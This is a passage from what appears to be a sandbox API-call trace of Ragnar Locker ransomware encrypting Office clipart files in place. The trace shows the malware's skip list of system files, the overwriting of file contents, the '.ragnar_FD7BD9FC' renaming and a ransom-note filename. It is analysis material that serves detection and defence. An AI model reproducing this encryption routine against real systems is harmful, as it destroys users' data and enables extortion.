lpNewFilePointer=0x0) returned 1 [0092.787] GetProcessHeap () returned 0x580000 [0092.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.787] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.789] VirtualAlloc (lpAddress=0x0, dwSize=0xff7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.789] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xff7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xff7, lpOverlapped=0x0) returned 1 [0092.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.789] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xff7, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.789] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xff7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xff7, lpOverlapped=0x0) returned 1 [0092.790] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xff7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.790] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xff7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.790] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.790] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.790] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.790] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.790] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.790] GetProcessHeap () returned 0x580000 [0092.790] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.790] CloseHandle (hObject=0xf4) returned 1 [0092.790] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" [0092.790] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.ragnar_FD7BD9FC" [0092.790] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.791] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1 [0092.791] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.791] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01268_.GIF" | out: lpString1="WB01268_.GIF") returned="WB01268_.GIF" [0092.791] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF") returned=".GIF" [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="autorun.inf") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="boot.ini") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="bootfont.bin") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="bootsect.bak") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="bootmgr") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="bootmgr.efi") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.791] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="desktop.ini") returned 1 [0092.792] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="iconcache.db") returned 1 [0092.792] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="ntldr") returned 1 [0092.792] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="ntuser.dat") returned 1 [0092.792] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.792] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="ntuser.ini") returned 1 [0092.792] lstrcmpiW (lpString1="WB01268_.GIF", lpString2="thumbs.db") returned 1 [0092.792] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.792] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.792] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.792] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.792] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.792] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.792] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif")) returned 0x20 [0092.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.792] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=427) returned 1 [0092.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.793] GetProcessHeap () returned 0x580000 [0092.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.793] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.793] VirtualAlloc (lpAddress=0x0, dwSize=0x1ab, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.794] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ab, lpOverlapped=0x0) returned 1 [0092.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ab, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.794] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ab, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ab, lpOverlapped=0x0) returned 1 [0092.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ab, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.794] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.795] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.795] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.795] GetProcessHeap () returned 0x580000 [0092.795] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.795] CloseHandle (hObject=0xf4) returned 1 [0092.795] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" [0092.795] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.ragnar_FD7BD9FC" [0092.795] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.796] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1 [0092.796] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.796] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01292_.GIF" | out: lpString1="WB01292_.GIF") returned="WB01292_.GIF" [0092.796] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF") returned=".GIF" [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="autorun.inf") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="boot.ini") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="bootfont.bin") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="bootsect.bak") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="bootmgr") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="bootmgr.efi") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="desktop.ini") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="iconcache.db") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="ntldr") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="ntuser.dat") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="ntuser.ini") returned 1 [0092.796] lstrcmpiW (lpString1="WB01292_.GIF", lpString2="thumbs.db") returned 1 [0092.796] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.796] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.796] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.796] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.796] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.796] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.796] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif")) returned 0x20 [0092.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.797] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=597) returned 1 [0092.797] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.797] GetProcessHeap () returned 0x580000 [0092.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.797] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.798] VirtualAlloc (lpAddress=0x0, dwSize=0x255, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.798] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x255, lpOverlapped=0x0) returned 1 [0092.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.798] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x255, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.798] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x255, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x255, lpOverlapped=0x0) returned 1 [0092.798] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x255, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.799] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x255, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.799] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.799] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.799] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.799] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.799] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.799] GetProcessHeap () returned 0x580000 [0092.799] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.799] CloseHandle (hObject=0xf4) returned 1 [0092.799] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" [0092.799] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.ragnar_FD7BD9FC" [0092.799] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.800] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1 [0092.800] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.800] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01293_.GIF" | out: lpString1="WB01293_.GIF") returned="WB01293_.GIF" [0092.800] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF") returned=".GIF" [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="autorun.inf") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="boot.ini") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="bootfont.bin") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="bootsect.bak") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="bootmgr") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="bootmgr.efi") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="desktop.ini") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="iconcache.db") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="ntldr") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="ntuser.dat") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.800] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="ntuser.ini") returned 1 [0092.801] lstrcmpiW (lpString1="WB01293_.GIF", lpString2="thumbs.db") returned 1 [0092.801] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.801] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.801] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.801] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.801] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.801] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.801] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif")) returned 0x20 [0092.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.802] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=679) returned 1 [0092.802] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.802] GetProcessHeap () returned 0x580000 [0092.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.802] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.803] VirtualAlloc (lpAddress=0x0, dwSize=0x2a7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.803] ReadFile (in: 